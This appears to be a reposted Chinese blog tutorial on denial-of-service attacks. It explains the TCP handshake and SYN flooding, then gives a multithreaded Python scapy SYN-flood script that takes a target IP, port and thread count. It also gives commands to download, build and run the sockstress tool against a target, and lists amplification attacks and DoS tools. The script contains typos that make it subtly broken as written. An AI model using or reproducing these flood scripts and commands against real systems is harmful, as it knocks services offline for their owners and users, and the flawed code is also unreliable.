任务:拒绝服务DoS
Posted Debroon
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了任务:拒绝服务DoS相关的知识,希望对你有一定的参考价值。
拒绝服务DoS
拒绝服务 DoS 原理
拒绝服务 DoS,是利用程序漏洞或一对一资源耗尽的 Denial of Service 拒绝服务。
但 DoS 是一对一的攻击,完全拼各自的资源,效果不好。
分布式拒绝服务 DDos,是多对一的攻击,汇集资源,重点在于量大。
正常用户访问网页的过程:
- 用户发送请求(SYN 包)
- 网站服务器接受请求,返回(SYN-ACK包)
- 用户再次发送(ACK包),用户和网站的服务联通
Syn-Flood洪水攻击、IP地址欺骗
Syn-Flood洪水攻击原理:网站服务器服务的顾客数是有限的(TCP最大连接数,并不是服务器的CPU和内存),我们用自己操控的大量的电脑来占用网站服务器资源(不断发起请求,源源不绝),那其他用户访问这个网站,就没有接待资源了(申请服务,网站服务拒绝)。
syn_flood.py
脚本:
# _*_ coding: utf-8 _*_
# 设置编码,支持中文字符
from scapy.all import *
# 导入操纵报文和网站交互的包,可实现洪水攻击的发包操作
from time import sleep
import random
import thread
# 导入线程包
import logging
# 导入日志包
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
# 给用户的输入提示,保证输入格式
if len(sys.argv)!= 4:
print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
print "举例:./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1]) # 目标地址
port = int(sys.argv[2]) # 端口
threads = int(sys.argv[3]) # 线程数,多线程实现大量的攻击
print "正在执行 SYN flood 进攻,按 Ctrl+C 止攻。"
def synflood(target, port):
while 1:
x = random.randint(0, 65535)
# 随机选择一个端口,作为源端口
send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
# 发送请求,占用目标服务器的TCP连接数
for x in range(o, threads):
# 从 0 到 线程数
thread.start_new_thread( synflood, (target, port) )
# 在目标的ip和端口,把所有线程数都打出去
Smurf攻击、Sockstress
# Python 调用攻击脚本
./sockstress.py 1.1.1.1 21 200
// C 调用攻击脚本
下载工具:https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http
TearDrop
DNS放大攻击
SNMP放大攻击
NTP放大攻击
应用层Dos
拒绝服务攻击工具-RUDY、Hping3、LAND攻击、Siege
拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye
以上是关于任务:拒绝服务DoS的主要内容,如果未能解决你的问题,请参考以下文章